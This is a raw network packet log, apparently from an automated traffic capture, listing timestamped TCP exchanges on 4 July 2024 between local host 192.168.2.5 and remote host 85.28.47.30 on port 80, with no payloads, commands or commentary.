Jul 4, 2024 22:20:29.692972898 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.692980051 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.692991972 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.693034887 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.693034887 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.693119049 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.693130970 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.693140984 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.693151951 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.693162918 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.693162918 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.693195105 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.693195105 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.693238020 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.694282055 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.694291115 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.694300890 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.694353104 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.694353104 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.694412947 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.694425106 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.694434881 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.694446087 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.694458008 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.694480896 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.694606066 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.694617033 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.694624901 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.694643974 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.694693089 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.694747925 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.694761038 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.694771051 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.694782972 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.694793940 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.694804907 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.694812059 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.694812059 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.694843054 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.694859982 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.695616961 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.695671082 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.695681095 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.695689917 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.695703030 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.695787907 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.695815086 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.695826054 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.695836067 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.695844889 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.695883989 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.695883989 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.696054935 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.696064949 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.696074009 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.696084023 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.696094990 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.696115017 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.696115017 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.696182966 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.696324110 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.696335077 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.696343899 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.696353912 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.696369886 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.696382046 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.696387053 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.696387053 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.696393967 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.696405888 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.696424961 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.696424961 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.696448088 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.696659088 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.696670055 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.696717978 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.696813107 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.696821928 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.696830988 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.696851969 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.696861982 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.696863890 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.696870089 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.696876049 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.696887016 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.696897030 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.696899891 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.696907043 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.696918011 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.696930885 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.696933985 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.696933985 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.696942091 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.696969986 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.696978092 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.697010040 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.697464943 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.697474957 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.697484970 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.697499037 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.697510958 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.697515011 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.697523117 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.697532892 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.697540998 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.697546005 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.697546005 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.697551966 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.697563887 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.697572947 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.697583914 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.697593927 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.697593927 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.697614908 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.698054075 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.698064089 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.698074102 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.698085070 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.698095083 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.698100090 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.698107958 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.698121071 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.698126078 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.698126078 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.698132992 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.698144913 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.698154926 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.698159933 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.698165894 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.698179007 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.698194027 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.698201895 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.698241949 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.698683023 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.698698044 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.698709011 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.698718071 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.698729038 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.698740005 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.698740959 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.698740959 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.698751926 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.698762894 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.698772907 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.698784113 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.698784113 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.698785067 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.698822021 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.698822021 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.764374971 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.764385939 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.764395952 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.764472961 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.764516115 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.764528036 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.764537096 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.764548063 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.764575958 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.764575958 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.769165993 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.769179106 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.769190073 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.769253969 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.769279003 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.769290924 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.769300938 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.769308090 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.769336939 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.769391060 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.780520916 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.780540943 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.780553102 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.780574083 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.780592918 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.781095028 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.781105995 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.781120062 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.781131029 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.781152964 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.781196117 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.783946037 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.783987045 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.784006119 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.784018040 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.784045935 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.784120083 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.784142971 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.784152985 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.784162998 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.784193039 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.784214973 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.784337044 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.784347057 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.784394026 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.784394026 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.786834955 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.786885977 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.786890984 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.786897898 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.786925077 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.786925077 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.786947966 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.786998987 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.787029028 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.787039995 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.787050962 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.787064075 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.787080050 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.787080050 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.787096024 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.788083076 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.788125992 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.788194895 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.788207054 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.788237095 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.788269043 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.788279057 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.788289070 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.788300991 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.788311958 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.788311958 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.788343906 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.788343906 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.788535118 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.788543940 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.788584948 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.788597107 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.788608074 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.788615942 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.788626909 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.788635969 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.788639069 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.788685083 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.789860010 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.789880037 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.789891005 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.789899111 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.789947987 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.790045977 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.790056944 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.790066004 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.790076017 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.790096998 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.790111065 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.790126085 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.790318966 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.790328979 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.790339947 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.790350914 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.790359020 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.790363073 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.790374041 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.790376902 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.790385962 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.790389061 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.790416956 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.790426970 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.790616989 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.790676117 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.790687084 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.790692091 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.790697098 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.790709019 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.790715933 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.790720940 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.790738106 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.790738106 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.790807962 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.790908098 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.790918112 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.790927887 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.790936947 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.791007996 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.791089058 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.791177988 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.791177988 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.791188955 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.791203976 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.791213989 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.791215897 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.791224003 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.791239023 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.791245937 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.791245937 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.791250944 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.791261911 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.791270971 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.791274071 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.791292906 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.791316986 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.791692972 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.791703939 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.791713953 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.791724920 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.791734934 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.791745901 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.791758060 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.791766882 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.791867971 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.792494059 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.792504072 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.792514086 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.792524099 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.792535067 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.792545080 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.792547941 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.792557001 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.792568922 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.792570114 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.792579889 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.792587996 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.792593956 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.792606115 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.792615891 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.792618990 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.792618990 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.792628050 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.792639971 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.792650938 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.792661905 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.792663097 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.792671919 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.792689085 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.792689085 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.792705059 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.793019056 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.793030024 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.793039083 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.793049097 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.793057919 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.793068886 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.793080091 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.793086052 CEST	49704	80	192.168.2.5	85.28.47.30
